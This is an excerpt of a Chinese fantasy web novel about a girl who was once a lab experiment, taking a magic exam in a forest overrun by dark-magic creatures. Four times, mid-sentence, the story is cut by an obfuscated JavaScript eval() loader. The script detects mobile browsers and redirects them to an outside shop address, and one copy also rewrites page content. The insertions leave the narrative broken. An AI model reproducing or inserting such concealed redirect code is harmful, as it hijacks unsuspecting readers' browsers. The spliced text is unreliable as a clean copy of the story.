几乎同时,后座寸头男同学扒开菲莉西蒂和碍事的赞达,不屑地说:“明明是我和她说的。” 两人对视一眼,火药味瞬间弥漫。 马尾女生嗤笑:“呵,某个人连‘喜欢’两个字都写得歪歪扭扭,还好意思教别人?” 板寸男生反唇相讥:“总比某个人把约会地点定在训练场,还美名其曰‘用训练督促爱情’的强。” 新一轮火力十足的嘴仗立刻开启。 为了不影响战况,赞达绕到了菲莉西蒂另一边,一脸茫然:“所以到底谁说的是真的?” 菲莉西蒂诚实解答:“我上学期不小心撞见他们偷偷在秘密基地约会,那时候他们一起和我说的。” “……” 赞达:赶紧复合吧你们! 这场小小的插曲还未完全平息,整个礼堂穹顶上那些散发柔和白光的大型照明水晶瞬间熄灭。 只有礼堂中央悬浮着的透明魔力圆台,依旧亮着一束光。 一位穿着朴素灰袍的白胡子老人慢悠悠走上平台。他个子不高,脸上带着温和的笑容,眼角的皱纹堆叠起来,就像路上随处可见的老爷爷。 这就是希尔维斯特的领主——奥烈弗·莫里安。 对于这片领地的绝大多数居民而言,奥烈弗领主是几代人记忆里不可或缺的一部分。 自苍白之灾结束后,他便接任希尔维斯特领主之位。多年间,他奔走于境内各处城镇,调解纠纷,促进贸易。 菲莉西蒂一家刚逃到这时,她就曾好几次远远见过这位领主。他会亲自走访最脏乱的街巷,蹲下和满脸灰土的孩子说话。他还尽力解决了战争难民们的居住问题,诺里才能以较低的房租入手现在这套房子。 “我叔叔说领主参加过苍白之灾,”赞达凑到菲莉西蒂耳边嘀咕,“是很厉害的高级魔法师来着。” 菲莉西蒂像往常般轻轻点头,目光落在高台上的身影,却下意识握紧拳头。 奥烈弗的话通过扩音水晶传至整个会场。 “孩子们,老夫很高兴,今天能见到希尔维斯特未来的魔法师们齐聚于此。” 奥烈弗摸着自己花白的胡子,目光温和地扫过台下每一张年轻的面孔。那目光并不锐利,却让接触到的人都不自觉地挺直背脊。 “三十五年前,邪恶的魔王带领堕落的黑魔法师发动战争,将战火燃遍大陆,长达二十八年的战争就此拉开序幕,现世都将其称作‘苍白之灾’。” 他停下抚摸胡子的手,一脸沉重。 “这场战争,时间或许不算历史上最长,但我们付出的代价却比以往任何一次战争,都更为惨痛。上百名高级魔法师陨落,无数平民和战士们的鲜血,浸透了我们脚下的土地。” “老夫最后悔的,”他轻轻摇头,“便是当年没能再多学一些,没能在战场上多救下几个人。” 台下鸦雀无声。许多学生神清严肃,他们中的大多数,童年是在战争的尾声中度过的。当时各领地都将孩子放置在庇护所进行重重保护。 虽然并未接触真实的战场,但那种弥漫在空气里的紧张、亲人出征未归的恐惧、半夜被魔法警报惊醒的心悸,都深植于他们记忆中。 看到许多年轻脸庞因他的话语而愈发坚定,奥烈弗缓缓收起笑容,面容严肃。 “孩子们,你们很幸运,生活在现今和平的年代。”他缓缓开口,话语回荡在礼堂每个角落,“但如果将来某一天,灾难再临——” 老人的声音骤然沉下,一字一句,铿锵有力: “那么老夫希望,冲在最前线的,有我们希尔维斯特人的身影!” 话音刚落,雷鸣般的掌声瞬间席卷整个礼堂,甚至有激动的学生用魔法变出礼花,在礼堂上空炸开一片片彩光。 菲莉西蒂坐在最不引人注意的角落,看向高处平台的奥烈弗,身边是同学们震耳欲聋的呐喊欢呼,身体冰凉。 从1号有记忆起,充斥在它耳边的声音往往是尖锐而可怕的。 掌声、欢呼声,这些声音逐渐扭曲,变成记忆里另一种背景音:金属器械的碰撞,魔力仪器运行的轰鸣,隔着厚重玻璃传来的尖锐命令。 他们期待:“你应该使用最强大的攻击魔法去击败敌人!” 尽管它面对的“敌人”是一个个骨瘦如柴的孩子。 他们憧憬:“你应该使用最完美的治愈魔法快速恢复!” 所以它被绑在实验台上,被一双双藏在面具下的眼睛贪婪注视着。锋利的手术刀划开皮肤,只为观察它的伤口自愈速度。 被称作最强魔偶的1号,憎恶攻击他人,恐惧治愈本身。 因为攻击意味伤害,治愈代表疼痛。 它听过研究员们的交谈。 “又一批魔偶送上前线了。” “损耗率太高,没有能回来的,一群废物!” “1号的基因母本还是无法复制吗?如果能量产,怎么可能会被他们打压成这样!” “可惜了,如果它能稳定输出……” 战争。 一个吞噬它无数同类,让它所在之处永远充斥绝望气息的词汇。 被关在黑漆漆小房间的它虽然不知战争为何物,但却从心底里厌恶这个让许多魔偶一去不回的象征。 在极为平常的一天,1号全身布满黑纹,瘦弱的四肢弯折被绑在研究台上,身上是一道道血淋淋的伤口。魔力监测器的冰冷探头紧贴着它的皮肤,记录着恢复速度和魔力流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奥烈弗微笑看着眼前热闹的气氛,再次开口:“在这场升学考中达到优秀的学生,将有机会根据你们的意愿与特长,前往大陆各地不同的高级魔法学院深造。” 他慈蔼的目光一一扫过每位学生:“老夫希望大家能在保证安全的前提下竭尽全力,展现出自己最真实的实力。” 说完,他侧身,向圆台后方示意:“下面有请本次考试总考官——第八中级魔法学院的科琳老师,为大家介绍本次规则。” 身披红色法袍的科琳出现在高台上,得到奥烈弗微示意后,她上前一步,没有使用扩音水晶,只是凭借自身精准的魔力操控,让声音清晰地传到每个人耳中。 “禁止使用联络魔法和道具,考场内已进行屏蔽。每人都会分配到定位水晶和传送水晶,赛程过半后可以自行选择激活传送退出,若在此之前进行激活,会自动丧失考核资格。 禁止任何意图致他人重伤或死亡的行为。前者一经发现,立即强制传送退出。后者视情节轻重,取消资格并移送法庭处理。 最后,为确保安全,场地内会有数名老师驻守,他们不会干预考核进程,只负责应对突发状况。” 科琳抱胸看着眼前这些蓄势待发的学生们,宣布:“希尔维斯特第八届中级魔法学院联合升学考核——” “现在开始。” 在场所有老师同时举起手中法杖,礼堂上方有一块巨大的传送仪器,他们将魔力注入其中,耀眼光芒覆盖住整个礼堂的学生。 所有人离开前都听到了总考官的最后一句话。 “传送目的地为南雾森林,祝大家好运。” 白光吞没了一切。 8. 第一天 白光慢慢褪去,菲莉西蒂才刚从空间失感中脱离,就发现自己正从高空下坠。 视线里模糊的绿影急速放大,枝叶劈头盖脸地抽打过来,风在耳边呼啸。菲莉西蒂快速用法杖在空中划出符咒,符文在空中浮现,化作一股向上的强劲气流。 菲莉西蒂闷哼一声,借着这股力在空中勉强调整姿态,双脚率先触地,并顺势屈膝前滚,以缓解冲击。好不容易停下后,她眼前一阵发黑。 研究员曾说过,她体内的魔力储量远低于常人,这直接导致了她无法自如使用魔法。 发现四周光线昏暗,菲莉西蒂闭眼调整呼吸,感觉到魔力已缓慢恢复后才拿起法杖注入魔力。 法杖顶部的水晶亮起白光。 南雾森林的真面目得以在她面前缓缓展开。 巨树直逼苍穹,穿过云层。枝叶繁密交织,如巨大的天网将天空遮蔽。四周一片昏暗,只有空气中漂浮的小颗粒在微微发光。菲莉西蒂曾翻过希尔维斯特百科介绍,知道这是独属于南雾森林的木属性光粒子。 周围很安静。 只有偶尔传来的枝叶摩擦声,和不知从哪传来的尖锐鸟鸣。 很好。 说明附近目前没有其他考生。 菲莉西蒂的目光扫过周围,在一棵巨树的半身处发现了监控水晶。它在昏暗环境下正散发着柔和的白光,起到一定的照明作用。 她拍了拍法袍在下落过程中沾到的树叶,活动了一下脚踝。没有扭伤,只是右膝有些淤痛,并不影响行动。 现在当务之急是先找个合适的地方休整。 菲莉西蒂转身,观察四周的情况,向深处走去。鞋底碾过落叶的碎响,混着草叶蹭过裤腿的窸窣,在森林里格外清楚。 走了约十分钟,前方突然传来沉闷的爆炸声,菲莉西蒂都能感受到脚下的土地在震动。 她立刻侧身贴到树后,屏住呼吸,从缝隙间望去。约五十米外,两个身影正在林间空地缠斗。 左侧高个考生应该是施展了飞行魔法,他在空中连点法杖,三道炽红的火球呈扇形扫出。另一名矮身翻滚,原先站立的地面轰然炸开,土石飞溅。 她刚起身就反手一挥,地面的碎石泥块被无形力量牵引,聚成数枚尖锐的石锥,直直射向对手。 高个子急速后退,法杖在身前划出半圆,火墙凭空出现。石锥撞入火墙,半数熔化,仍有几枚突破防护,擦着他的肩膀飞过,在后方树上凿出深坑。 底下那人操控脚下泥土翻涌,像有生命般缠向对手双脚。高个子低喝一声,周身腾起一圈环状烈焰,将土石尽数炸散。热浪扩散开来,连菲莉西蒂藏身的树干都传来微微暖意。 就在火墙即将燃烧到四周树木时,空气中那些微小的发光粒子,无声涌向火焰,覆盖在它的表面。下一刻,火焰便以肉眼可见的速度黯淡下去,最后消失殆尽。 高个考生脸色一白,显然不知道南雾森林有这个限制。 只是几息功夫,地面猛然隆起,一只由泥土碎石凝聚的巨手破土而出,狠狠攥向他。 胜负已定。 而这样的战斗,在南雾森林各处均在上演。 菲莉西蒂没有多看。她压低身体,借着灌木的掩盖,悄悄绕开这片区域。 果然还是得找更偏僻的地方。 被卷进这种战斗就危险了。 她一路避开传来的声音,专挑巨树密集的路线走。发光粒子逐渐变得稀疏,巨树的阴影也更加浓重。终于,在找到合适的地方后,菲莉西蒂停下了继续深入的脚步。 这是一小片林间空地,三面有巨树环绕,一面是缓坡。地面相对干燥,铺着细碎的落叶,空地中央还有块平坦的灰白色岩石。 最重要的是,这里有一缕完整的阳光从树冠缺口落下,照亮整片空地。 菲莉西蒂放下随身的布包,开始搭帐篷。她熟练地组装支架,扣合卡扣,拉动绳索。帐篷稳稳立起,入口对着那块岩石。 接着,她绕着帐篷撒下一圈淡黄色粉末。平常家里生活紧巴,买不起驱虫水晶,所以她按照魔药知识,自己调配了驱虫粉配方,效果更好,在家里也常备着。 菲莉西蒂还在入口处布置了简易的警报装置。 三颗光滑的小石子摆成三角形,注入微量魔力。一旦有东西穿过,石子就会微微发热,她也会有所感知。 做完这些,她才终于在岩石上坐下,用手帕擦了擦额头的汗。 阳光暖洋洋地照在身上。她从布包里拿出水壶,小口喝着。干粮是诺里准备的硬面包,还有一小罐蜂蜜。 罐子上贴着安贝画的笑脸,歪歪扭扭的,旁边是赛卡稚嫩的笔迹,写着“姐姐加油”。 菲莉西蒂还在翻布包时看到了那颗作为赔礼的琥珀色珠子。她撕下一小块面包,蘸了点蜂蜜放进嘴里,甜味混着麦香在嘴里散开。她边咀嚼边想: 这几天都没看到这位新老师呢?要是能在毕业前再见上一面就好了,自己还没有和他说声谢谢呢。 法杖被菲莉西蒂小心地横放在膝上。 对于魔法施展,现今的主流方式有两种。 一种是完全依靠施法者自身的魔力储备与操控,直接释放,另一种就是以法杖为介质,借助魔法对应的咒文进行施展。后者虽然同样需要施法者提供魔力,但消耗量往往远低于前者,对魔力操控的精密度要求也相对较低。 对于菲莉西蒂这种自身魔力储量本就稀薄到可怜的人来说,在考核中想要保留一丝自保的能力,每一缕魔力都必须精打细算,那么法杖就必不可少了。 吃饱喝足,体力恢复了一些,菲莉西蒂决定在营地附近做一次小范围的勘察。 毕竟难得能进入被严格管制的南雾森林,她想亲眼看看,那些只在书本上见过的植物和地貌。 菲莉西蒂以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在一片祥和中,她熄灭火堆,并钻进帐篷。 帐篷外,夜光植物愈发明亮,远处还时不时传来动物的叫声,并伴随着偶尔的战斗声。 菲莉西蒂躺在睡袋里,有些开心地想: 第一天,还算顺利。 明天等到中午就能激活水晶离开了。 她闭上眼睛,渐渐陷入沉睡。 夜色吞没了整个南雾森林,但从高处俯瞰,依旧有亮点出现在零星几角,这是仍然为明天备战的考生。 而在森林上空极高处,一层无法用肉眼察觉的暗紫色光膜,正沿着某种既定的弧形轨迹,无声无息地将整片森林中心包裹。 它所过之处,连浮光粒子都黯淡了少许,就连各种声响,也仿佛被一层无形的网过滤掉,整片森林悄然无声。 9. 危险逼近 菲莉西蒂是被一声巨响惊醒的。 从声音大小判断,距离应该不远,至少在同片区域。随后就是几声嘶吼,但很快又归于宁静。 又是考生战斗? 动静未免太大了些。 菲莉西蒂没有贸然出去,只是屏息听着帐篷外的动静。等了好一会,确认无异常后,她才小心起身。 睡了一夜,菲莉西蒂本就蓬松的卷发更显凌乱。尽管已经用梳子认真梳理,但发丝依旧顽固地翘着,坚决贯彻“你梳任我翘”的昂然斗志。她叹了口气,早有准备地从布包里翻出旧皮筋,利落地将头发全部拢到脑后,高高束起。 简单洗漱,吃了点干粮,菲莉西蒂收拾好营地,已然做好了回家的准备。 她昨天在不远处发现了一处岩石地貌,想着说不定会有稀奇的植物品种,打算在离开考场前多观察一些。 走了一会,巨树逐渐稀疏,取而代之的是嶙峋的灰白岩石。它们从地面刺出,彼此交错堆叠,分布位置极为复杂,能见度比林地差得多。高处依旧有树冠遮蔽,光线昏暗,只有浮光粒子在无拘无束地漂动。 菲莉西蒂放慢脚步,在狭窄的石隙间小心穿行,法杖的光只能照亮眼前一小片区域。她偶尔会为石缝里形态奇特的植物驻足,认真在笔记本上快速记录。 没想到南雾森林竟拥有如此庞大的植物资源,完全满足了她的求知欲。 就是不知道为什么奥列弗领主会将其封闭起来? 菲莉西蒂边想边往前走,前方就是石林的出口,已经能看见巨木的轮廓。 脚步停住。 借着浮光粒子,她的目光落在离出口不远的巨树树干上。 上面布满了坑洼。 边缘参差不齐,内部的颜色异常深暗,表面覆盖着一层油腻的黑色粘稠物。树干本身和攀附的植物都枯萎蜷缩着,像被抽干了生命力。 空气中还弥漫着一股像是金属锈蚀的腐臭气味。 她走近一些,捂住口鼻,谨慎地没有触碰。 是考生彼此战斗的痕迹吗? 菲莉西蒂仔细回想。 在课程中的确有提到过腐蚀类魔法,但因施法难度高且易造成不可控的伤害,并非如今学院教授的主流。 更重要的是,书上描述的魔法痕迹,也并非眼前这种粘稠质残留状。 “砰。” 菲莉西蒂正皱眉思考,突然,从一旁传来莫名声响。 什么东西!? 她警惕朝出声处看去。 在不远处树下的阴影里,靠着一个人。 穿着和科琳同种款式的学院教师法袍,背对着她,脑袋低垂,一动不动。 监考官? 她下意识后退半步,握紧法杖,想起开考前科琳老师说过的话。考场内会有监考官驻守,负责应对突发状况。 是受伤了吗? 她压低声音,带着试探:“您好?” 没有回应。 那人依旧一动不动,姿势僵硬。 菲莉西蒂抿嘴,森林里太黑了,只靠法杖的光根本照不清那么远,没办法确认对方的状态。她鼓起勇气,向前挪动,法杖举高了些。 “您能听到我说话吗?如果受伤了,我这里有带治疗草药——” 她看到了对方垂在身侧的手。 手指苍白得不正常,死死攥着半截断裂的法杖,顶端的水晶已经完全破裂。而在对方脚边,暗色痕迹蜿蜒肆漫,延伸至森林深处。 是熟悉的血腥味。 菲莉西蒂脸色发白,强迫自己将视线向上移,以确认对方情况。 就在她的目光即将触及对方肩膀的瞬间, 一直低垂的头颅,极其缓慢地动了一下。 以一个人类颈椎绝不可能达到的角度,直直向后折去,露出了被散乱头发遮盖的脖颈。 “嗬!” 一声夹杂着液体咕噜声的嘶哑响动,从脖颈处传来。 菲莉西蒂的瞳孔骤然收缩。 皮肤已经完全溃烂。 只有蠕动着暗红色血肉的窟窿,像是被硬生生扯开,隐约能看到内部惨白的骨头。窟窿周围,细密的黑色裂纹正像活物般缓缓蔓延,贪婪爬向尚未被侵蚀的皮肤。 同时,那人开始轻微抽搐,全身发出骨头碰撞的细碎咯吱声。 菲莉西蒂向后退了一步,全身冰凉。 他还……活着? 在这种状态下? 突然,一个稚气的孩童声,毫无征兆地出现在她脑海里: “快跑啊!” 菲莉西蒂已经顾不上这个突然出现的声音,那片可怖的伤口和蔓延的黑纹已经充斥着她的视野。 呼吸变得急促,胃里翻涌起熟悉的恶心感。每次看到黑纹在人的身上爬动,她的身体都会产生这种近乎本能的剧烈排斥。 没人会比魔偶更清楚这是什么。 这是极高浓度的黑魔法侵蚀。 从侵蚀程度可以推断,感染时间不会超过三小时。 学院知道吗?考官们知道考场里混进了黑魔法师吗? 其他考生现在的情况呢? “快动啊!小鬼!”脑海里的声音急得尖叫,音调拔高,带着哭腔,“他已经被魔物寄生了!转换快完成了!你后面左数第三块石头后面!那里有缝隙!” 菲莉西蒂看着那个抽搐的身影。他的脸部狰狞,四肢疯狂摆动,肌肉膨胀壮大,仿佛要撑破身体。黑纹已经遍布全身,并往外溢出粘稠的黑色黏液。 她救不了他。 但至少得把这里发生的事情传出去! 没有时间权衡那声音是敌是友。 菲莉西蒂立刻转身,朝声音所说的方向冲去。 身后传来令人毛骨悚然的摩擦声,应该是那具身体,或者说尸体正在站起。她不敢回头看,只是拼命向前跑。 扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164938|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到那块巨石前,双手颤抖着迅速扒开表面的植株。 真的有缝隙! 一道狭窄的岩缝,藏在阴影之后,宽度只够她侧身挤入。岩缝深处一片漆黑,不知通往何处。 菲莉西蒂将法杖横咬在嘴里,双手抵住冰冷粗糙的岩壁,侧身,不顾一切地向内挤去。尖锐的岩石棱角刮擦过身体,皮肤被划破,刺痛感接连传来。 但她仿佛什么都感觉不到,脑子里只反复闪回那片蠕动的血肉和蔓延的黑纹。 拖行声停在了岩缝外。接着,那东西在尝试挤入缝隙,与岩石摩擦发出巨响。 黑色粘稠物往内抓取,差点摸到了菲莉西蒂的头发,她甚至能闻到那股令人作呕的腐臭味,像是腐败的血肉浸泡在生锈金属水中再拿起。 菲莉西蒂拼尽全力向更深处挤。黑暗彻底吞没视野,只有咬在嘴里的法杖还散发着微弱的光。狭窄的空间压迫着胸腔,连呼吸都极为艰难。 不知在黑暗中挣扎爬行了多久,她脚一空,整个人从岩缝末端跌落出去,滚进一个石洞。 洞内一片漆黑,满是灰尘。 菲莉西蒂不敢乱动,背靠着冰冷的岩壁,将法杖牢牢抓在手里,冷汗浸透内衬,粘在皮肤上冰凉一片。她的心脏狂跳,耳膜嗡嗡作响。 她死死盯着那个入口,紧咬下唇。握法杖的手因为过度用力而剧烈颤抖,被岩石刮破的伤口隐隐抽痛,有温热的液体缓慢渗出。 一片死寂。 那个东西没有跟进来。 劫后余生的虚脱感混杂着未散的惊吓,冲击着她紧绷的神经。 而那个孩童声音终于再次在脑海中响起,带着掩不住的得意: “看吧看吧!跟着主角准没错!” 菲莉西蒂没时间理那声音。她强迫自己冷静下来,用仍在剧烈发抖的手摸向手腕的传送水晶,打算输入魔力激活。 现在时间差不多已经过去一天半了,必须立刻出去传递考场内的危险。 指尖触到的水晶,依旧冰凉。 但,没有光。 原本应该稳定流转的浅蓝色水晶,此刻黯淡无光。哪怕菲莉西蒂试图将魔力注入其中,依旧毫无反应。 被这意外情况弄得措手不及的菲莉西蒂突然想到另一件事。 昨日深入时还能看到监控水晶发光,但今天一路上却完全没捕捉到任何来自它的光亮,她还想着是这里过于偏僻所以才没安装。 可明明科琳老师明确说过,考场内布设的监控范围很广,即使是在偏僻区域也有零星分布,以确保考核评估。 传送失灵,监控失效。 这是一场有预谋的彻底封锁。 一股寒意涌上。菲莉西蒂的衣服本就因冷汗和渗出的血而湿冷粘腻,此刻在这阴冷封闭的岩洞里,她更是如临深渊。 一个更可怕的想法浮了上来: 如果外面的人,根本不知道森林里正在发生什么呢? 10. 名为主角的魔器 “喂?你怎么不说话呀?” 脑海里那个稚嫩的声音又响起来,尾音拖得软软的,带着点小心翼翼,安慰道: “别担心啦,那家伙已经走啦!” 菲莉西蒂思绪混乱,背抵着冰冷的石壁,身上的伤口还在隐隐作痛。她取下定位水晶放进布包,又拿出随身携带的草药迅速敷在伤口上。 菲莉西蒂深吸一口气,试图强迫自己冷静下来。 现在已经没有什么更糟的了,至少得先搞清楚这个莫名其妙出现的声音到底是什么。 声音直接与意识相连。这意味着对方要么具备精神连接能力,要么本身就是某种意识存在。 无论哪种,从刚才的情况中可以推断,对方非常清楚刚刚的怪物是什么。 准确来说,是对黑魔法很熟悉。 “你是谁?”她终于开口,控制自己的声音保持稳定,不让对方探寻到自身的情绪波动,“刚刚那个是黑魔法吗?” “主角就是主角呀!” 终于听到回应,那声音立刻雀跃起来:“我可是苍白之灾时期,由伟大的阁下亲手打造的顶级魔器!专门用来对抗那些恶心的黑魔法师!” 语气里充满了毫不掩饰的骄傲。 “至于刚才那个……嗯,算是黑魔法造物的一种吧。那人已经被魔种深度侵蚀了,现在就是层皮包着孕育出来的魔物在走,活不成啦。” 它说得轻描淡写,能听出对方的不甚在意。 菲莉西蒂握紧拳头,指甲陷进掌心,之前看到的血淋淋身体再次出现在脑海中,熟悉的恶心感又开始在胃里翻搅。 “你知道它是魔物。”她强迫自己镇静下来,“那你知道考场里还有多少这种东西吗?” “哎哟,主角怎么可能知道嘛!”声音立刻接话,夹着嗓子道:“要不是难得感应到一个人,主角才不会浪费力气救你呢!” 菲莉西蒂没接话,静静等待着。 对方绝不可能无缘无故就与她进行对话,绝对打着什么主意。 果然。 那声音看她一直不回话又开始急起来:“你怎么又不说话呀?快理理我!” 菲莉西蒂控制声音,故作冷漠道:“你都帮不到我,我和你说话有什么用?” “谁说我帮不了你的!” 许是听到质疑,它像个小孩子一样,大嚷大叫:“主角很强的!就是因为主角的强大,那些黑魔法师打不过主角,才用卑鄙、恶心、阴损、肮脏的招数把主角封印在这个破地方!” “主角只能偶尔醒过来一下下,什么都做不了呜呜……你不是想传消息吗!如果主角能出来,恢复一点力量,就能帮你!主角可是很厉害的!” 对方的声音又变得急切,有种可怜巴巴的意味。 琥珀色的眼睛微微眯起。 “我凭什么相信你?”她故意透出疏离,“而且按你所说,你在这待了那么久,就没找其他人救你?偏偏找上只是学生的我?” 脑海里顿时爆发出夸张的哀嚎。 “呜哇!你怎么能怀疑主角!主角这么善良、这么可爱、这么乐于助人!” 对方又无缝切换成委屈巴巴的语调:“不是主角不想找别人呀!是别人都听不见主角说话!只有你!你一走进这片区域,主角就感知到你了!这一定就是命运的指引!” “证明给我看。” “什么?”它懵住。 “证明你真的有那个能力。”菲莉西蒂认真道,“不用恢复力量,就用你现在能做到的程度。告诉我,岩洞外面现在是什么情况。” 脑海里又安静了。 这次安静的时间有点长。 就在菲莉西蒂以为它不会再开口时—— “外面安全。” 它终于不是那副咋咋呼呼的小孩样,竟显得颇为正经。 “那东西已经走了。它往南边去了,速度很慢。” 话音刚落,菲莉西蒂便眼前一花。 一片模糊且带着噪点的景象在她意识里展开,就像通过毛玻璃在往外看。她看见了远处巨树的轮廓,还有一个臃肿庞大的背影,正拖拽着什么沉重的东西,在昏暗的林间笨拙地爬行。地上是一道道血红色的拖痕。 即使画面模糊不清,那东西背上鼓动的黑色纹路依旧刺眼,就像有什么活物在突起的鼓包上翻滚。 看见熟悉的纹路样式,菲丽西蒂心脏怦怦直跳。 还没有结束。 众多画面在她的意思里胡乱闪现。 在南雾森林某处空地,几个穿着不同学院法袍的身影背靠背站着,正面容沉重,对周围黑暗中蠢蠢欲动的扭曲影子释放魔法。 而在某处高空枝干中,一名女生正在与长相诡异的魔物搏斗。哪怕全身已有多处伤口,她依旧咬牙控制着枝叶与其缠绕对抗,隐有胜利之势。 …… 南雾森林已成为魔物狂欢的乐园。 最后一帧画面悄然定格。 在高处的天空,一层暗紫色光膜,将森林区域完全笼罩。光膜所过之处,战斗也在蔓延。 画面只持续了几秒,便骤然消失。 “这个屏障会隔绝掉与外界的魔力传输,所以外面的人通过水晶看到的也都是虚构的画面。更远的地方主角就感应不清楚啦,毕竟主角现在力量有限嘛。” 它又恢复了之前雀跃的模样,仿佛刚才那几幕残酷的画面只是无关紧要的插曲。 菲莉西蒂咬牙,再耗下去,如果救援一直不来,那么这片森林将会变成这些魔物的屠宰场。 “如果你出来之后,”她死死抓着法杖,继续问,“需要多久能传消息出去?具体怎么传?” “这个很简单!”对方终于看到了希望,赶忙承诺,“等主角出来之后,魔力恢复就能看得更广,这类屏蔽魔法往往有突破点,主角找到后就能利用感知,往外传递连接!” 菲莉西蒂闭上眼,心脏砰砰直跳。她能感觉到自己体内的魔力正在缓慢恢复,但储量依旧少得可怜。 外面有黑魔法造物在游荡,其他考生可能也在面临危险。 对于她来说,最稳妥的办法就是待在这个安全的地方等待救援。 但是,其他人呢?赞达呢?那些还在战斗的人呢? 她当然知道自己做出选择后会面临什么,知道自己的弱小,知道自己的举动可能没有任何用处,知道她的每一步都可能会踏向更深的危险。 但菲莉西蒂更知道,这是只有她才能抓到的一丝机会。 风险巨大。 但绝境之中,别无选择。 她睁开眼睛:“我可以帮你,你需要我做什么?” “太好啦!” 声音瞬间复活,高兴到菲莉西蒂几乎能想象出,如果本体在这,估计已经开始手舞足蹈了。 “很简单的!你按主角说的走,主角能感知到你周围所有的一切,会帮助你躲开危险!而且主角还知道一个绝对安全的地方,那里是战争时期设立的庇护所!我们在那里躲着,等主角恢复后,就帮你传消息出去!怎么样?” 菲莉西蒂撑着冰冷的石壁,试图站起来。之前挤进岩缝时被岩石棱角刮破的伤口才刚刚凝固,一动就又撕裂开来。她咬牙,伤口在移动时会有火辣辣的刺痛。 可她的声音却完全听不出疼痛:“赶紧出发吧。” 声音激动得语无伦次:“太好啦呜呜主角终于等到了!” 菲莉西蒂没理会,仔细系好布包。她再次检查伤口,确认不影响行动,才深吸一口气,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她拨开植物,后面果然是一个被巧妙隐藏的低矮通道,仅容一人弯腰通过,里面黑漆漆的,不知通向何方。 菲莉西蒂没犹豫,矮身钻了进去。 通道里弥漫着泥土和树根腐败的气味。在粗糙的硬地上爬了不知多久,光线骤然变化。 她探出头,被眼前的景象惊到了。 这里像是一个被遗忘的山谷。四面都是极高的岩壁和巨树躯干,将天空团团遮掩住。而不知为何,森林里那些无处不在的浮光粒子在这里格外多,它们散发出比外界明亮数倍的光,将整个山谷照亮,竟比外面昏暗的环境还要明亮。 山谷中央,是一棵菲莉西蒂从未见过的巨树。 哪怕在以植被、高大树木出名的希尔维斯特,也从未有过如此巨大的标志。 它矗立在草地堆起的最高处,树干由上百人环抱都不一定能够着,树冠消失在高不可及的黑暗之中,投下的阴影几乎覆盖了整个山谷底部。 而在离地约十几米高处,树身裂开一道巨大的黑色缝隙,像一只竖着的眼睛,凝视着下方。 但菲莉西蒂的目光,很快落在巨树根部处。 那里,粗壮的树根盘根错节,从地下突起,相互纠缠,形成了一个庞大的天然牢笼。而在根系最密集的位置,死死卡着一块巨石。 石头表面布满苔藓,仿佛已与周围蠕动的树根共生了上百年。它被树根以一种充满压迫感的姿态紧紧箍住,嵌在泥土里。 脑海里的声音爆发出无法抑制的激动尖叫,震得菲莉西蒂头皮发麻。 “啊啊啊!主角就在那里!” 11. 主角的真面目 脑海里的孩童声音已经开始哭喊。 “主角就在下面!…嗝…呜呜快!快帮把那个该死的石头移开!” 因为环境已经颇为明亮,菲莉西蒂收起法杖,将已经快散落的头发重新扎好。 她仔细观察附近的情况,这个通道口开在山谷一侧的岩壁上,离谷底还有三四米高的样子。 菲莉西蒂摸索着从布包侧袋抽出绳索。手指刚碰到捆绳的金属扣,掌心被方才一路碎石刮破的地方就传来刺痛。 她看着自己布满细碎伤口和污泥的手,忽然想起学院体术课上到野外应急时,那个总爱嘲讽学生娇气的老师。 “别以为魔法就是万能的。”老师当时把粗麻绳甩得啪啪响,“真掉进什么鬼地方,魔法用不了的时候,你就知道自己的身体比什么破法杖靠谱多了。” 绳索一端系在一旁延伸过来的枝干上,另一端垂向谷底。菲莉西蒂握住绳子往下滑时,粗粝的纤维磨过掌心血痕,疼得她直咬牙。 山谷底部比她俯视时感觉的更宽敞些,比起外面南雾森林里被落叶覆盖的泥地,这里的地面覆盖着浓密的草株,每走一步都像踩在海绵上。 除了中央那棵庞大到令人失语的树,谷内只有草和浮光粒子,异常简洁,仿佛一切多余的东西都被清空了。 “快点快点!”它大声催促。 菲莉西蒂喘着粗气。伤口早已在方才的攀爬时裂开,每走一步都扯着疼。幼时经历给她带来的后遗症很多,其中一点就是伤口愈合极慢,哪怕她及时做了应急处理也还是如此。 唯一的好处是不留疤。不管伤得多深,最终皮肤都会恢复成原本的样子,仿佛那些伤害都从未发生。 她的身体本能被迫成为掩盖罪恶的帮凶。 而那些研究员利用这点,狂热地认为1号迟早有一天可以恢复能力,从未停下对1号的伤害。 越靠近中心,那股无形的压力越明显。菲莉西蒂仰头看向那棵巨树,树干近看就像褐色山崖,根本看不到两头,而树冠则在极高处撑开一片看不到边际的黑暗。 